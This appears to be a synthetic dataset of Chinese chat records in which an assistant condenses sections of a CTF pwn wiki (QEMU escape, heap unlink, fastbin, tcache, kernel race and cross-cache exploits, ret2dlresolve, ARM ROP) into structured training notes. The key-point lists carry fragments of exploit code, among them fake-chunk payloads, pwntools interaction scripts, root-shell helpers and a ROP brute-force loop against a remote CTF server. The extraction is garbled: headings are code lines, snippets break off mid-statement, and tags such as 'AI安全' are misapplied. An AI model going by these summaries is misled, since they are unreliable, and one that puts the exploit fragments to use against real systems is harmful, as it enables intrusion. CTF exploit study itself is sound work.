[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/virtualization/qemu/exploitation/intro.md` 中的章节「题目分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/virtualization/qemu/exploitation/intro.md`
标题：QEMU 逃逸入门
章节：QEMU 逃逸入门 > 例题：BlizzardCTF2017 - Strng > 题目分析
路径分类：pwn / pwn/virtualization/qemu
分块：1/1

核心知识点：
- 本节主题围绕“题目分析”展开。
- 若我们能够控制 (unsigned int )opaque[700] 的值，则可以直接完成一个越界读。
- } ` PMIO 的 write 功能定义如下： - 若 addr == 0，则将传入的值写入 (unsigned int )opaque[700] ，因此结合 PMIO read 我们便可以完成越界读。
- 首先查看启动脚本，可以发现其通过 -device strng 参数载入了一个自定义设备 strng。
- // rax v1 = object_dynamic_cast_assert(obj, "strng", "/home/rcvalle/qemu/hw/misc/strng.c", 145, "strng_instance_init");
- } void __fastcall pci_strng_realize(PCIDevice_0 pdev, Error_0 errp) { memory_region_init_io( (MemoryRegion_0 )&pdev[1], &pdev->qdev.parent_obj, &strng_mmio_ops, pdev, "strng-mmio", 0x100uLL);

关键术语：
- 边界/溢出
- 漏洞利用
- pwn
- virtualization
- qemu
- exploitation
- code:bash
- code:c
- code:ida

代码/命令片段线索：
- bash: 10 行，首行 `./qemu-system-x86_64 \`
- c: 27 行，首行 `void __fastcall strng_instance_init(Object_0 *obj)`
- ida: 8 行，首行 `.text:000000000041033E call object_dynamic_cast_assert`
- c: 8 行，首行 `uint64_t __fastcall strng_mmio_read(void *opaque, hwaddr addr, unsigned int size)`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

题目分析

QEMU 逃逸入门
例题：BlizzardCTF2017 - Strng
题目分析

边界/溢出 漏洞利用 pwn virtualization qemu exploitation code:bash code:c code:ida

QEMU 逃逸入门


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「构造fake chunk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`
标题：Unlink
章节：zer0ptr @ zer0ptr-MateBook-D14 in ~/HITCON-Training/LAB/lab11 on git:master x [13:31:19] > 堆布局 > 构造fake chunk
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“构造fake chunk”展开。
- ```python ptr = 0x6020c8 # chunk0 指针的存储位置
- fake_chunk = p64(0) # fake chunk 的 prev_size fake_chunk += p64(0x41) # fake chunk 的 size (0x40 + 1) fake_chunk += p64(ptr - 0x18) # fd 指向 &global[2]-0x18 fake_chunk += p64(ptr - 0x10) # bk 指向 &global[2]-0x10 fake_chunk += b"c" * 0x20 # 填充到 chunk0 数据区末尾 fake...

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap
- code:python

代码/命令片段线索：
- python: 8 行，首行 `ptr = 0x6020c8 # chunk0 指针的存储位置`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

构造fake chunk

zer0ptr @ zer0ptr-MateBook-D14 in ~/HITCON-Training/LAB/lab11 on git:master x [13:31:19]

Unlink


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/basic-knowledge.md` 中的章节「Hardened Usercopy」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/basic-knowledge.md`
标题：基础知识
章节：基础知识 > Mitigation > 内核“堆”上保护机制 > Hardened Usercopy
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“Hardened Usercopy”展开。
- hardened usercopy 是用以在用户空间与内核空间之间拷贝数据时进行越界检查的一种防护机制，主要检查拷贝过程中对内核空间中数据的读写是否会越界： - 读取的数据长度是否超出源 object 范围。
- 这一保护被用于 copy_to_user() 与 copy_from_user() 等数据交换 API 中，不过这种保护 _不适用于内核空间内的数据拷贝_ ，这也是目前主流的绕过手段。
- 写入的数据长度是否超出目的 object 范围。

关键术语：
- 边界/溢出
- pwn
- linux
- kernel-mode
- basic-knowledge.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Hardened Usercopy

基础知识
Mitigation
内核“堆”上保护机制
Hardened Usercopy

边界/溢出 pwn linux kernel-mode basic-knowledge.md

基础知识


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/introduction.md` 中的章节「常用代码模板」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/introduction.md`
标题：简介
章节：简介 > 常用代码模板
路径分类：pwn / pwn/linux/kernel-mode
分块：3/5

核心知识点：
- 本节主题围绕“常用代码模板”展开。
- } / for MSG_COPY, msgtyp means to read no.msgtyp msg_msg on the queue / ssize_t peek_msg(int msqid, void msgp, size_t msgsz, long msgtyp) { return msgrcv(msqid, msgp, msgsz, msgtyp, MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
- } /* VII - ldt_struct related / / Somethings we may want to compile the exp binary with MUSL-GCC, which doesn't contain the asm/ldt.h file.
- #define MODIFY_LDT_CONTENTS_DATA 0 #define MODIFY_LDT_CONTENTS_STACK 1 #define MODIFY_LDT_CONTENTS_CODE 2 #endif / !
- } else { / parent */ wait(NULL);
- } /* the msgp should be a pointer to the struct msgbuf, and the data should be stored in msgbuf.mtext / ssize_t write_msg(int msqid, void msgp, size_t msgsz, long msgtyp) { ((struct msgbuf)msgp)->mtype = msgtyp;

关键术语：
- 栈
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

常用代码模板

栈 AI安全 漏洞利用 pwn linux kernel-mode exploitation

简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heapoverflow-basic.md` 中的章节「确定填充长度」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heapoverflow-basic.md`
标题：堆溢出
章节：堆溢出 > 小总结 > 确定填充长度
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“确定填充长度”展开。
- 回头再来看下之前的示例代码 ` #include <stdio.h> int main(void) { char chunk;
- `` #include <stdio.h> int main(void) { char chunk;
- 一个常见的误区是malloc的参数等于实际分配堆块的大小，但是事实上 ptmalloc 分配出来的大小是对齐的。
- 而根据我们前面学到的知识可以知道chunk的pre_size仅当它的前一块处于释放状态时才起作用。
- 所以用户这时候其实还可以使用下一个chunk的prev_size字段，正好24个字节。

关键术语：
- 边界/溢出
- 堆
- AI安全
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- plain: 9 行，首行 `#include <stdio.h>`
- plain: 5 行，首行 `//根据系统的位数，malloc会分配8或16字节的用户空间`
- plain: 9 行，首行 `#include <stdio.h>`
- plain: 3 行，首行 `0x602000: 0x0000000000000000 0x0000000000000021`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

确定填充长度

堆溢出 小总结 确定填充长度

边界/溢出 堆 AI安全 pwn linux user-mode heap code:c

堆溢出


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/race/userfaultfd.md` 中的章节「exp」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/race/userfaultfd.md`
标题：用 userfaultfd 创造条件竞争
章节：用 userfaultfd 创造条件竞争 > 例题：QWB2021-notebook > exp
路径分类：pwn / pwn/linux/kernel-mode
分块：1/3

核心知识点：
- 本节主题围绕“exp”展开。
- } / root checker and shell poper / void get_root_shell(void) { if(getuid()) { puts("\033[31m\033[1m[x] Failed to get the root!
- void (wait_until_sent)(struct tty_struct tty, int timeout);
- void err_exit(char msg) { printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
- } puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
- puts("\033[34m\033[1m[] Execve root shell now...\033[0m");

关键术语：
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

exp

用 userfaultfd 创造条件竞争
例题：QWB2021-notebook
exp

AI安全 漏洞利用 pwn linux kernel-mode exploitation

用 userfaultfd 创造条件竞争


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md` 中的章节「__libc_free()」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md`
标题：tcache
章节：define TCACHE_MAX_BINS 64 > 源码分析 > __libc_free()
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“__libc_free()”展开。
- 看完申请，再看看有 tcache 时的释放 source code ``C void __libc_free (void *mem) { ...... ......
- } ` __libc_free() 没有太多变化，MAYBE_INIT_TCACHE ()` 在 tcache 不为空失去了作用。
- ar_ptr = arena_for_chunk (p);
- _int_free (ar_ptr, p, 0);

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- C: 9 行，首行 `void`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

__libc_free()

define TCACHE_MAX_BINS 64
源码分析
__libc_free()

tcache


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-pig.md` 中的章节「coding=utf-8」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-pig.md`
标题：House of Pig
章节：coding=utf-8
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“coding=utf-8”展开。
- from pwn import * context.log_level = 'debug' context.terminal = ["tmux","splitw","-h"]
- def add_message(size,payload): sh.sendlineafter("Choice: ",'1') sh.sendlineafter("size: ",str(size)) sh.sendafter("message: ",payload)
- def view_message(idx): sh.sendlineafter("Choice: ",'2') sh.sendlineafter("index: ",str(idx))
- def edit_message(idx,payload): sh.sendlineafter("Choice: ",'3') sh.sendlineafter("index: ",str(idx)) sh.sendafter("message: ",payload)
- def delete_message(idx): sh.sendlineafter("Choice: ",'4') sh.sendlineafter("index: ",str(idx))

关键术语：
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

coding=utf-8

House of Pig


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/leak-heap.md` 中的章节「smallbin」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/leak-heap.md`
标题：通过堆进行信息泄漏
章节：通过堆进行信息泄漏 > smallbin
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“smallbin”展开。
- 我们构造了两个fastbin然后查看它们的内存，现在在fastbin链表中存在两个块，第一个块的地址是0x602000，第二个块的地址是0x6020f0 `` 0x602000: 0x0000000000000000 0x00000000000000d1 0x602010: 0x00007ffff7dd1c38 0x00000000006020f0 <=== 下一个块的地址 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x00000000...
- `` 0x6020f0: 0x0000000000000000 0x00000000000000d1 0x602100: 0x0000000000602000 0x00007ffff7dd1c38 <=== main_arena的地址 0x602110: 0x0000000000000000 0x0000000000000000 0x602120: 0x0000000000000000 0x0000000000000000 `` 因此，通过smallbin可以获得：1.libc.so的基地址 2.heap基地址

关键术语：
- 堆
- AI安全
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 4 行，首行 `0x602000: 0x0000000000000000 0x00000000000000d1`
- plain: 4 行，首行 `0x6020f0: 0x0000000000000000 0x00000000000000d1`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

smallbin

通过堆进行信息泄漏 smallbin

通过堆进行信息泄漏


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md` 中的章节「EXPLOIT」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md`
标题：Cross-Cache Overflow & Page-level Heap Fengshui
章节：Cross-Cache Overflow & Page-level Heap Fengshui > 例题：corCTF2022 - cache-of-castaways > EXPLOIT
路径分类：pwn / pwn/linux/kernel-mode
分块：2/2

核心知识点：
- 本节主题围绕“EXPLOIT”展开。
- } int main(int aragc, char argv, char envp) { cpu_set_t cpu_set;
- if (dev_fd < 0) { err_exit("FAILED to open castaway device!
- i++) { if(alloc_page(i) < 0) { printf("[x] failed at no.%d socket\n", i);
- err_exit("FAILED to spray pages via socket!
- i++) { if (simple_clone(CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND, waiting_for_root_fn) < 0){ printf("[x] failed at cloning %d child\n", i);

关键术语：
- 边界/溢出
- 堆
- 栈
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

EXPLOIT

Cross-Cache Overflow & Page-level Heap Fengshui

边界/溢出 堆 栈 AI安全 漏洞利用 pwn linux kernel-mode exploitation


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/environment/qemu-emulate.md` 中的章节「使用 KGDB 进行调试」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/environment/qemu-emulate.md`
标题：搭建内核运行环境
章节：cat /sys/module/a3kmod/sections/.data > 使用 KGDB 进行调试
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“使用 KGDB 进行调试”展开。
- 我们可以在qemu虚拟机内部通过执行 echo g > /proc/sysrq-trigger 命令触发 KGDB： `shell ~ # cat /sys/module/kgdboc/par~ # cat /sys/module/kgdboc/parameters/kgdboc ttyS1,115200 ~ # echo g > /proc/sysrq-triggerameters/kgdboc ttyS1,115200 ~ # echo g > /proc/sysrq-trigger [ 9.078653...
- 在 QEMU 模拟环境中，我们可以通过指定一个串口（例如 ttyS1 ）为 KGDB 提供输出，例如考虑如下启动脚本： ``bash #!
- 内核提供了专门的调试工具：KGDB（Kernel GNU Debugger），我们可以通过在编译时启用 CONFIG_KGDB=y 配置选项来将 KGDB 组件编译到内核当中，并使用串口等方式进行调试。
- 我们为 QEMU 启动参数添加了两个 -serial 参数，意为创建了两个串口，其中第一个串口指定为标准输入输出，第二个串口指定为本地4445端口。
- / Sync point after breakpoint / (gdb) ``

关键术语：
- AI安全
- pwn
- linux
- kernel-mode
- environment
- code:bash
- code:shell

代码/命令片段线索：
- bash: 11 行，首行 `#!/bin/sh`
- shell: 7 行，首行 `~ # cat /sys/module/kgdboc/par~ # cat /sys/module/kgdboc/parameters/kgdboc`
- shell: 9 行，首行 `gdb vmlinux`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

使用 KGDB 进行调试

cat /sys/module/a3kmod/sections/.data
使用 KGDB 进行调试

AI安全 pwn linux kernel-mode environment code:bash code:shell

搭建内核运行环境


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「rop.raw('a'*(256-len(rop.chain())))」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：rop.raw('a'*(256-len(rop.chain())))
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“rop.raw('a'*(256-len(rop.chain())))”展开。
- 首先，我们可以把读伪造的数据和 /bin/sh 部分的 rop 合并起来，以减少 ROP 的次数 ``python from pwn import *
- io.send(rop.chain()) io.interactive() `` 然鹅，还是崩溃。
- 通过调试，我们可以发现，system 函数在进一步调用 execve 时出现了问题 `assembly ► 0x7f7f3f74d3ec <do_system+1180> call execve <execve> path: 0x7f7f3f8b20fa ◂— 0x68732f6e69622f / '/bin/sh' / argv: 0x7ffe63677000 —▸ 0x7f7f3f8b20ff ◂— 0x2074697865006873 / 'sh' / envp: 0x7ffe636770a8 ◂— 0...
- 那我们可以调整调整，使其为 NULL 或者尽可能不破坏原有的数据。
- 但这次比较好的是，确实已经执行到了 system 函数。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow

代码/命令片段线索：
- plain: 1 行，首行 `然鹅，还是崩溃。但这次比较好的是，确实已经执行到了 system 函数。通过调试，我们可以发现，system 函数在进一步调用 execve 时出现了问题`
- plain: 2 行，首行 `即环境变量的地址指向了一个莫名的地址，这应该是我们在进行 ROP 的时候破坏了栈上的数据。那我们可以调整调整，使其为 NULL 或者尽可能不破坏原有的数据。这里我们选择使其为 NULL。`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

rop.raw('a'*(256-len(rop.chain())))

边界/溢出 栈 ROP/JOP AI安全 pwn linux user-mode stackoverflow

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「基本分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`
标题：Fastbin Attack
章节：Fastbin Attack > 2014 hack.lu oreo > 基本分析
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“基本分析”展开。
- ``shell ➜ 2014_Hack.lu_oreo git:(master) file oreo oreo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.26, BuildID[sha1]=f591eececd05c63140b9d658578aea6c24450f8b, stripped ➜ 2...
- 可以看出，程序确实是比较老的，32位程序，动态链接，就连 RELRO 技术也没有上。

关键术语：
- 堆
- 栈
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:shell

代码/命令片段线索：
- shell: 9 行，首行 `➜ 2014_Hack.lu_oreo git:(master) file oreo`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基本分析

堆 栈 漏洞利用 pwn linux user-mode heap code:shell

Fastbin Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「构造 fastbin 循环链表」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`
标题：Fastbin Attack
章节：Fastbin Attack > 2015 9447 CTF : Search Engine > 利用 > 构造 fastbin 循环链表
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“构造 fastbin 循环链表”展开。
- 这时，搜索单词时i->sentence_ptr 对于a, b 来说都是可以绕过的。
- 由于我们先前为了 leak libc 还建立一个句子，所以还有一个单词可以比较，这里我们也不删除。
- 即，我们所需要设置的设置的 fast bin 的数据字节部分的大小为 0x60。
- \n') p.sendline('y') p.recvuntil('Delete this sentence (y/n)?
- \n') p.sendline('y') # b->a->b->a->... search_word('\x00') p.recvuntil('Delete this sentence (y/n)?

关键术语：
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:python
- code:shell

代码/命令片段线索：
- python: 20 行，首行 `# 2. create cycle fastbin 0x70 size`
- shell: 9 行，首行 `pwndbg> fastbins`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

构造 fastbin 循环链表

Fastbin Attack
2015 9447 CTF : Search Engine
利用
构造 fastbin 循环链表

堆 漏洞利用 pwn linux user-mode heap code:python code:shell

Fastbin Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/arm/rop.md` 中的章节「notice」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/arm/rop.md`
标题：Arm ROP
章节：-- coding: utf-8 -- > notice
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“notice”展开。
- 同时需要注意的是，checksec 检测的结果是开了 nx 保护，但这样检测的结果不一定准确，因为程序的 nx 保护也可以通过 qemu 启动时的参数 -nx 来决定（比如这道题目就可以通过远程失败时的报错发现程序开了 nx 保护），老版的 qemu 可能没有这个参数。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow
- code:bash

代码/命令片段线索：
- bash: 4 行，首行 `Desktop ./qemu-aarch64 --version`
- bash: 3 行，首行 `[ERROR] Could not find 'as' installed for ContextType(arch = 'aarch64', binary = ELF('/home/m4x/Projects/ctf-challeng...`
- bash: 6 行，首行 `Shanghai2018_baby_arm [master●] apt search binutils| grep aarch64`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

notice

边界/溢出 栈 ROP/JOP AI安全 pwn linux user-mode stackoverflow code:bash

Arm ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/arm/rop.md` 中的章节「for i in range(100, 150)[::-1]:」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/arm/rop.md`
标题：Arm ROP
章节：for i in range(100, 150)[::-1]:
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“for i in range(100, 150)[::-1]:”展开。
- for i in range(112, 123): if sys.argv[1] == "l": io = process("./typo", timeout = 2) elif sys.argv[1] == "d": io = process(["qemu-arm", "-g", "1234", "./typo"]) else: io = remote("pwn2.jarvisoj.com", 9888, timeout = 2)
- io.sendafter("quit\n", "\n") io.recvline()
- ''' jarvisOJ_typo [master●●] ROPgadget --binary ./typo --string /bin/sh Strings information ============================================================ 0x0006c384 : /bin/sh jarvisOJ_typo [master●●] ROPgadget --binary ./typo --only "pop|ret" | grep r0 0x000...
- payload = 'a' i + p32(0x20904) + p32(0x6c384) 2 + p32(0x110B4) success(i) io.sendlineafter("\n", payload)
- pause() try: # pdb.set_trace() io.sendline("echo aaaa") io.recvuntil("aaaa", timeout = 1) except EOFError: io.close() continue else: io.interactive() ```

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

for i in range(100, 150)[::-1]:

Arm ROP